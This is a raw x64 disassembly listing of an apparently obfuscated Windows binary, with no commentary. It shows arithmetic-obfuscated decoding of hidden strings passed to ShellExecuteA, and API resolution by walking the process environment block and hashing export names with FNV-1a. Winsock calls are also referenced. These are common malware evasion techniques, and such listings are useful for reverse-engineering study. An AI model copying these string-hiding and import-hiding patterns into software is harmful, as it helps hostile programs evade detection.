movabs rdx, 0x496432521fdc7664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x20
jb 0x14010708c
movabs rdx, 0x61891f5fe931740c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401071f2
movabs rcx, 0x9d6aba6dfe972f7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
lea rax, [rdi + r10]
cmp rax, 0x400
je 0x1401070f1
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x140106f35
movabs rdx, 0x3cd70636d94338da
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140106c80
movabs rdx, 0x90dd8e52b7fdf1f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107184
movabs rcx, 0xa80d1037bd75722c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x140107181
movabs rdx, 0xbf3c921cc2ecf268
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401070c2
movabs rcx, 0xd66c1401c86472a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x140107240
movabs rcx, 0xed9b95e6cddbf2e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14010721a
movabs rdx, 0x4cb17cbd353731c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401071f2
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x140106e48
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2e
add bl, dl
jmp 0x140106d0a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140106e75
movabs rdx, 0x191a58368d327b14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401072ec
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140106ea4
movabs rdx, 0x1ead65187bafad8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140107298
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140106ed3
movabs rdx, 0xd38bd2877ccbfa60
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140107184
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140106f02
movabs rdx, 0xbc5c50a277547a24
mov ecx, 2
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140107181
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140106d0a
movabs rdx, 0x8dfd4cd86c6579ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140107240
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140106f61
movabs rdx, 0x25a78451d3cbb89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
add bl, dl
jmp 0x1401071f2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140106f8d
movabs rcx, 0xf7488087c8dcb826
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xa
jmp 0x140107240
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140106fb7
movabs rdx, 0x9a8a78f3b2feb736
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x140107115
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140106c80
movabs rcx, 0x6c2b7529a80fb6be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1401072ee
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140107013
movabs rcx, 0x3234b06d1a64f628
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x18
jmp 0x1401072ee
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010703f
movabs rcx, 0xeca62abe09fe7574
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2c
jmp 0x140107184
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010705c
movabs rdx, 0xd576a8d90486f538
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140106eeb
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140106cbb
movabs rcx, 0xa717a50ef997f4c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x40
jmp 0x140107240
mov byte [rbp + r9 + 0xa0], bl
jmp 0x1401072fd
movabs rdx, 0x4a599d7ae3b9f3d0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xa0]
add bl, r8b
add bl, dl
movabs rdx, 0x3ec1dc8860fe33b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0xa0], cl
jmp 0x140107181
movabs rdx, 0x332a1b95de427394
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0xa0]
sub bl, 0xc
add bl, dl
jmp 0x140107268
movabs rcx, 0x3be19b0e1565bb6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 2
jmp 0x1401072ee
movabs rcx, 0x6a409ed82054bbe6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4a
jmp 0x140107268
movabs rdx, 0x989fa2a22b43bc5e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401072fd
movabs rcx, 0xde2e28513baa3d12
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7e
jmp 0x14010721a
movabs rcx, 0xf55daa364121bd4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x1401071f2
movabs rcx, 0x23bcae004c10bdc6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
movabs rdx, 0x55f15e6d6675b3ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xa0], cl
inc r10
jmp 0x140107240
movabs rdx, 0x521bb1ca56ffbe3e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
dec r9
jmp 0x1401072fd
mov r8, r11
movabs rcx, 0xaed9b95e6cddbf2e
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x42
movabs rcx, 0x27925aa35b86b376
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xa0], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0x1bfa99b0d8caf358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0xa0], r8b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401072ee
movabs rdx, 0xdd38bd2877ccbfa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, byte [rbp + r9 + 0xa0]
add rax, r10
add r9, rax
inc r9
jmp 0x1401068fa
movabs rdx, 0xfa28c2021475306a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401068f7
lea rdx, [r9 + r12]
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401068e7
lea rsi, [rbp + 0x15aec78]
jmp 0x140107361
lea rsi, [rbp + 0xdf2c5a]
jmp 0x140107361
lea rsi, [rbp + 0xa0]
mov byte [rbp + 0xc0], 0xbf
mov byte [rbp + 0xc1], 0xbd
mov byte [rbp + 0xc2], Ordinal_200
mov byte [rbp + 0xc3], 0xb9
mov byte [rbp + 0xc4], Ordinal_46
xor eax, eax
mov qword [rbp + 0xc5], rax
mov dword [rbp + 0xcd], eax
mov word [rbp + 0xd1], ax
mov byte [rbp + 0xd3], al
mov dil, byte [rsp + 0x50]
movabs r12, 0x86ae06fa5e07247a
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x14
jae 0x140107cc2
movzx r8d, byte [rbp + r9 + 0xc0]
mov r11, r8
cmp rbx, r9
ja 0x140107cb9
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140107404
lea rcx, [r9 + r12]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x56
jmp 0x140107431
je 0x140107c2f
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140107ba4
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140107b6c
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140107b18
cmp r10, r9
ja 0x140107cb0
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140107466
movabs rdx, 0xc469289b695fe02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xe
jmp 0x1401075a0
je 0x140107b04
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140107ae3
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140107abf
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140107a9b
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x140107738
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140107714
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401076ed
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x1401076c9
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1401076a8
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140107694
lea rbx, [r10 + 9]
lea r10, [rbx + 1]
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140107c8c
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140107c65
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1401075cb
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401075a8
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140107581
lea rbx, [r10 + 0x10]
lea r10, [rbx + 3]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x140107670
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140107649
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x140107626
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140107602
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401075ee
lea rbx, [r10 + 0x28]
lea r10, [rbx + 5]
jmp 0x1401074a0
movabs rdx, 0x207dc9f10de0ce3e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140107493
movabs rcx, 0x1321bbfc51d2854a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 6
jmp 0x140107431
movabs rcx, 0x5c5ae0795c43c56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x1401073d5
movabs rdx, 0x2cc45c7ac476cc40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140107b7b
movabs rcx, 0x1f684e860868834c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x14
jmp 0x140107b91
movabs rcx, 0x120c40914c5a3a58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140107bc8
movabs rdx, 0x4b0329c904bf164
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140107bfc
movabs rcx, 0xf75424a7d43da870
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140107c4e
movabs rdx, 0x14373767574ad03c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x140107b7b
movabs rdx, 0x6db29729b3c8748
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140107a38
movabs rcx, 0xf97f1b7ddf2e3e54
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4c
jmp 0x140107b64
movabs rdx, 0xec230d89231ff560
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140107b61
movabs rdx, 0xdec6ff946711ac6c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140107b36
lea rax, [r10 + 0x10]
cmp rbx, rax
jae 0x140107809
lea rdx, [r9 + r12]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x56
add dil, dl
lea rax, [rbx + r10]
cmp rax, 0x200
je 0x140107a6c
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x1401078df
movabs rdx, 0x1777a9a867b3b112
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7e
add dil, dl
cmp rbx, 0x400
jae 0x140107a14
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x14010796f
movabs rdx, 0x23be3c321e49af14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x61
jb 0x140107a07
movabs rdx, 0xa956c7c176d8889c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140107b39
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140107835
movabs rcx, 0x188d25136d2bfc04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140107c4e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140107865
movabs rdx, 0x25e93308293a44f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140107bfc
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140107882
movabs rdx, 0x4dfd5ce65d651fd4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x140107b7b
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401078ae
movabs rdx, 0x5b596adb197368c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x140107a3b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010775d
movabs rcx, 0x68b578cfd581b1bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x140107b64
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010790b
movabs rdx, 0x24d3b79d23c1fa06
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2a
jmp 0x140107b36
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010793b
movabs rdx, 0x3f8bd3869bde8bee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140107b64
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14010779b
movabs rdx, 0x679ffd64d00966ca
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140107b91
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010799c
movabs rcx, 0x311a4a26da57f808
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x38
jmp 0x140107c4e
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401079c9
movabs rdx, 0x4bd26610527489f0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140107bc5
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401079e6
movabs rdx, 0x8e9eabd7febbf6b4
mov ecx, 0xa
jmp 0x1401076fc
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401077d7
movabs rdx, 0x9bfab9ccbaca3fa8
mov ecx, 0x34
jmp 0x140107723
mov byte [rbp + r9 + 0xc0], dil
jmp 0x140107c5d
movabs rdx, 0xb6b2d5b632e6d190
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0xc0]
add dil, r8b
add dil, dl
movabs rdx, 0x3d60dcb090edf60a
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, dil
sub cl, al
sub cl, 0x46
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xc0], cl
jmp 0x140107b8e
movabs rdx, 0xc40ee3aaeef51a84
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0xc0]
add dil, dl
add dil, r8b
jmp 0x140107bc8
movabs rcx, 0x8483102453168e96
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1a
jmp 0x140107c4e
movabs rcx, 0x4f12d85162dd6ac6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6a
jmp 0x140107b8e
movabs rcx, 0x345abc67eac0d8de
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x12
jmp 0x140107b64
movabs rdx, 0x19a2a07e72a446f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x140107723
movabs rdx, 0xfeea8494fa87b50e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x62
add dil, dl
movabs rdx, 0x3004cebbd4dfad16
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xc0], cl
inc r10
dec r9
jmp 0x140107c5d
movabs rdx, 0xc97a4cc20a4e913e
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140107c5d
mov r8, r11
movabs rdx, 0xaec230d89231ff56
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x5a
add dil, dl
movabs rdx, 0x4abceaa54cfc3efe
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xc0], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0xd16af19fab036378
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x48
add cl, r8b
mov byte [rbp + r9 + 0xc0], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140107c4e
movabs rcx, 0x940a14ef1a156d6e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 2
movzx eax, byte [rbp + r9 + 0xc0]
add rax, r10
add r9, rax
inc r9
jmp 0x1401073c2
movabs rdx, 0xf869a012d9b5f362
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401073bf
movabs rcx, 0xeb0d921e1da7aa6e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 2
jmp 0x1401073af
lea rdx, [rbp + 0x14c82b8]
jmp 0x140107cc9
lea rdx, [rbp + 0x93a732]
jmp 0x140107cc9
lea rdx, [rbp + 0xc0]
mov dword [rsp + 0x28], 1
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x140107e58
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
mov r12d, 0x811c9dc5
test esi, esi
je 0x140107d61
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r12d
jmp 0x140107d54
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140107d45
cmp edx, esi
jne 0x140107e28
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140107e28
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140107e28
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, r12d
jmp 0x140107db3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140107da8
cmp edx, r14d
je 0x140107dc9
test r11d, r11d
jne 0x140107d95
jmp 0x140107e28
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140107e3d
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140107e3d
mov esi, r12d
mov r14d, r12d
jmp 0x140107e07
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140107df9
jmp 0x140107e1c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140107e0f
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140107e3b
cmp qword [rbx + 0x30], 0
jne 0x140107d11
xor edx, edx
mov qword [0x1404fc118], rdx
movabs r14, 0x3b16ce24793c580
movabs r15, 0xe3cab7caa09e1080
mov edi, 0x99
mov ecx, edi
call rdx
mov qword [0], rdi
lea rcx, [rbp + 0xe40]
call fcn.14008b580
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140107eb4
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140107eaf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140107eaf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14020f4e0
and qword [rbp + 0x50], 0
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x40], 0
mov byte [rbp + 0x4d0], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x4d1], 0x63
mov byte [rbp + 0x4d2], 0x84
mov byte [rbp + 0x4d3], Ordinal_143
mov byte [rbp + 0x4d4], 0xaf
mov byte [rbp + 0x4d5], 0x9a
mov byte [rbp + 0x4d6], 0xae
mov byte [rbp + 0x4d7], 0xaa
mov byte [rbp + 0x4d8], 0x82
mov byte [rbp + 0x4d9], __WSAFDIsSet
mov byte [rbp + 0x4da], 0xb7
mov byte [rbp + 0x4db], 0x81
mov byte [rbp + 0x4dc], Ordinal_143
mov byte [rbp + 0x4dd], Ordinal_143
mov byte [rbp + 0x4de], 0x81
mov byte [rbp + 0x4df], 0x9b
mov byte [rbp + 0x4e0], 0x62
mov byte [rbp + 0x4e1], 0xbb
mov byte [rbp + 0x4e2], 0x83
mov byte [rbp + 0x4e3], 0xbd
mov byte [rbp + 0x4e4], Ordinal_143
mov byte [rbp + 0x4e5], 0xbf
mov byte [rbp + 0x4e6], 0xb9
mov byte [rbp + 0x4e7], 0x41
mov byte [rbp + 0x4e8], Ordinal_143
mov byte [rbp + 0x4e9], 0xba
mov byte [rbp + 0x4ea], 0xbe
mov byte [rbp + 0x4eb], reloc.WS2_32.dll_send
xor eax, eax
mov qword [rbp + 0x4ec], rax
mov dword [rbp + 0x4f4], eax
mov word [rbp + 0x4f8], ax
mov byte [rbp + 0x4fa], al
movabs rsi, 0x1b73bd6777beb087
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x2b
jae 0x140108b50
movzx r8d, byte [rbp + r9 + 0x4d0]
mov rdx, r8
cmp rdi, r9
ja 0x140108b47
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140108007
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4f
jmp 0x14010804e
je 0x140108ac6
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140108a41
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140108a0e
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401089c6
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401089a0
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140108959
cmp r10, r9
ja 0x140108b3e
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x140108081
movabs rdx, 0x407e897cd2a47b13
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x7b
jmp 0x14010827a
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010893b
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140108918
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401088f7
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401085b0
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14010858f
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14010856c
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x140108546
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140108525
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401084ff
lea rcx, [r10 + 0x64]
cmp rdi, rcx
je 0x1401084d9
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401084b8
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x140108492
lea rax, [r10 + 0x3e8]
cmp rdi, rax
